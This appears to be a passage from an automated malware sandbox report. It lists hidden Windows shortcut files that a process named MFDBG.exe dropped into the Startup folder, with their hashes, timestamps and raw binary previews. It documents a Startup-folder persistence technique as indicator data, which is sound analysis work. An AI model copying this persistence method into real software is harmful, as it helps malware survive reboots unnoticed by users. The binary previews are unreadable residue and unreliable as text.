File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926202839762763
Encrypted:	false
SSDEEP:	24:8OkrBfR8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8B+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	B2E1AF8405D287E768C8B5B27911E30E
SHA1:	343F926B303A78E6D99BC126E97E87FB86CF22B7
SHA-256:	10426E9DA233C41BC7635C00255F5651281270F8D8F115BA9A14A20E91BD1337
SHA-512:	A025D798BB5AD1A8BC12F1D5901B729B81745DD02B233C25545D55FCCFA9FE032E52F96F852F41115DC42D02CF87580B18499DFAF980CBB61F1B0AD5F76C1DED
Malicious:	false
Preview:	L..................F....".......d....>.#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...b..#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_978993225f0b44aca57882ea1cc854ca.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920497485394507
Encrypted:	false
SSDEEP:	24:8OBfQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8k9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	A8625CDB0C2A1D9F4B180168D22ED344
SHA1:	2FB707B8A64657EA461C6EE89E27E12D85CB49A7
SHA-256:	B1709895DC55CCBF9D23A1ADE4F0AB7765DD1AE256FEA6AB4980D2B23647E0EC
SHA-512:	C3F2D830D7F239F2C79DBCF8FD8AF92074309D08A810928CD798694733AA6F10F904882F7624AEE00129F449FF024EB81F05697ED50D6E70B7ED797415810F7E
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...2...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97d77af1279b4a899fef3dd0f63a817e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923994701060845
Encrypted:	false
SSDEEP:	24:8jBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8lYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	913C0E76AA0A60359DE71B9B26B58167
SHA1:	A081D23716F198EE290B8BE5DA1B9BDB022E0A14
SHA-256:	66EFC85CC54813F547F8625C5193D4BE5DDF5E3D3BBA003DC3329EA794911EC1
SHA-512:	9AF262ABECCBFE044C80C39DAD1BEE37D5C6252D98A93D684B4738CACC2A3BA2B1A81A862EB1AB07F39CA27D16B0DE5C14295BC93A1B54B5A7EF301EF0AA2BC9
Malicious:	false
Preview:	L..................F....".......d....E\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9828dc1710c64e339cb7009cab007839.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916389327030077
Encrypted:	false
SSDEEP:	24:84QBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84eDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AFAFED73DDAB77EFD0686BC33F52E6B4
SHA1:	DB173A28ED0EB2266DA3BA889C628C56202DE936
SHA-256:	8C57A009B7A3D4AB08CC8AB4CC52331735B5C71EF28C22A6E6870FB2DE13552C
SHA-512:	C7D447DBC00E65A688D9130F0B492FE77140E6EA16AD867474A275717E4150C0EB6264E19FC5BD23E49A04FB3AEF28E0937B21363DE2D97D2F1FA663916B888F
Malicious:	false
Preview:	L..................F....".......d.....\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_985396190fc648de8d75757c37e28b46.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932586198791693
Encrypted:	false
SSDEEP:	24:8NBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	2C5FB2D9617224045C98479C396DD014
SHA1:	A940BF8349034E2954026F96D11E9210F0C4F559
SHA-256:	EEEDAABCFD8E87169D58A0367AEC93C8ABEBD1CBECF2C63545619C5ABF6AF8D4
SHA-512:	41BAE1F946AE4B54B404B029E3D42DC1C67E6A70500307416C1DC8556449AD3A50A288B67CD20E65ADF3B72A6A5F27A5824A548B29CF89476C95568AA04587E4
Malicious:	false
Preview:	L..................F....".......d....Z.{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....n.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_98815053ecd940d8be7a04ec2942a1c2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917915935930971
Encrypted:	false
SSDEEP:	24:8PrBff48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PddEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1434AA4C0403E9D2142314D737D7AB26
SHA1:	DD7E87AC208A58CECFF981152EB92A336B259148
SHA-256:	9EAB9B11E568B8324184481D7D29579BD361E92A85090E06249DD20C7AA670FE
SHA-512:	B75465FC47E07DC394F5E4F4925E769D4AFE441A8A49ECB10EA7552372C6986FE24A7E1D805BF1A63885FE38269DD6306D9F81B0FDED3FB08F3BCE6D17344738
Malicious:	false
Preview:	L..................F....".......d....FQ_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...!.L_d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_98a01e04634f49cbb22f5c74b82f0669.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936110427866584
Encrypted:	false
SSDEEP:	24:8waBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8b59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	C5A23EB988E4012CAEA294DEE8389B3B
SHA1:	C8C117D9AA551A485491342CEC691AB0C56F3B66
SHA-256:	EDA4584231FF78617702E4288327C91B1321AA2E4C73530170DC58B47874FA73
SHA-512:	3D50148CCCF5567E9F5AA19566A243AA1B7AD77A3DA489A389B0C1A9EE761731C6E4D70F5D590CA4B6CD3F86119652EB473AE6099835255DEB7B3407901DDA5E
Malicious:	false
Preview:	L..................F....".......d....).>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_98e6c726b7bd458c87db2b85195a9436.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919195013917036
Encrypted:	false
SSDEEP:	24:8KBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B33C7250E90A0B7BCDF6A570252D70CD
SHA1:	DD65EE1021B84D4D138E69D0DC12A18425423366
SHA-256:	0F38B9D4D0648CBBFA04D32EB1204FD922A0ADCF67EE3DBF8DCD429F1CC04452
SHA-512:	1AAE218873D176871BC7AB04BA646B6C64077E620522FABC265734EE6E73287F423B9E206C0CEA42038D99B2ED15B5C4D51789C100FFD68114CA4A8CC3F98734
Malicious:	false
Preview:	L..................F....".......d...Fw.%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_994cb8b01abd4f199e774b7546cf7f6a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:17 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924119555201883
Encrypted:	false
SSDEEP:	24:8A2Bfm4p8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8A8+9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	FE73CF36962BE3F8FB15A3508AEE8B0B
SHA1:	2CD99F4AE021814FCF8DC86F85ABA11698050735
SHA-256:	91609634A21FCE164CE5D39E5D12B8F42299A26BE3DC2009CC0466F179AAF085
SHA-512:	E647E21E0CC989F2B19827513A4A35ED34E38C712CAEF5B52F0F0E35D38D370F3398FFF2051E5AEEF9492BBA2F4D15C36DE01507C756C2303846B13624098B48
Malicious:	false
Preview:	L..................F....".......d......'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_998d25b952b74ec58255d6b3b8251b50.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925392545015148
Encrypted:	false
SSDEEP:	24:8+Bf88EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8UxEvZ0yRO7DLO2zdxdRd1kyg
MD5:	165E07E671B413A124EDC15ED4443CC2
SHA1:	BAAB119730E2CCFDC774933F3E23A683E6B1449E
SHA-256:	04BB5E4ABA5DD0E9D6A2DE6C7222B67E18B3D68234D3209DBD1859874892BD1A
SHA-512:	0D22658960C4A318712D87BAAA4F08EC62475D8AFD18C5078C2AA102CA6F27C0A5882CC87B1E2D7C7003EC02A11AF995D93DBAA16D29820AA2039D5FCD88963F
Malicious:	false
Preview:	L..................F....".......d...3RX'd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....?E'd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_99b010cfd49548989d1ae05e0606b7f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923933727271062
Encrypted:	false
SSDEEP:	24:8oBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DC4E18D1AF74F713E1CD8846DE3B352A
SHA1:	AF5A5C965E8245FA18ACE321E246406958A6BBDD
SHA-256:	8D87C419B358A49FCDB8F78C2685913336D53E36D6BDB2F693833E5607D716F6
SHA-512:	CB4EAB100733B9711F9DCDE6CE4FC7FD48C8F598FF919853B1942147188BB0715F0974B447B1099BF386275469EF330C32A07FC7C559F3F98B4BFC7F7BEA0E40
Malicious:	false
Preview:	L..................F....".......d.....&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_99f9b251a2124e5bb209b322522a7bc6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.903552699896237
Encrypted:	false
SSDEEP:	24:8lBfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8n5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	78574D802A1E2F4903EBB4F6059F0BA0
SHA1:	51847C56C5CE94EA7D1DA88BC4725F60C05A5BEC
SHA-256:	A2FE9ABAA619724883C295B2997857993D8DECFE4D017A8785A86762DBF27886
SHA-512:	6D2622F904FC6E7EE30CD0040CDF4F991C8048F3D96459966F2C056A96EA99AC025DE09AF1138DA0B4BA42FC626E1D47FC881463C1D26B51D0D46C922981B2BC
Malicious:	false
Preview:	L..................F....".......d.....1Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9aa35b6c8bb4460aae7a2637806588cc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9262908269610985
Encrypted:	false
SSDEEP:	24:82Bf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:888EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F18E8D53CD27531F185D5C5C196DE027
SHA1:	B26045E2C7BC06065C2AE67947D5A330646DE376
SHA-256:	75ECB70AF6F81109738FB367BAF7376F79161DA14E5A88382213F42B4FB9835D
SHA-512:	6CD07326E93D8B29A2703E9A134CC3A7E991FDB759EF672DC56508046176801E1CA82DD138C24BD396BBCB6EEC0E04CD3D20CD9EF65B1780D1F3D356853164AE
Malicious:	false
Preview:	L..................F....".......d....0.}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....v}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9aa5bd1e593c4471a978320b881143d1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
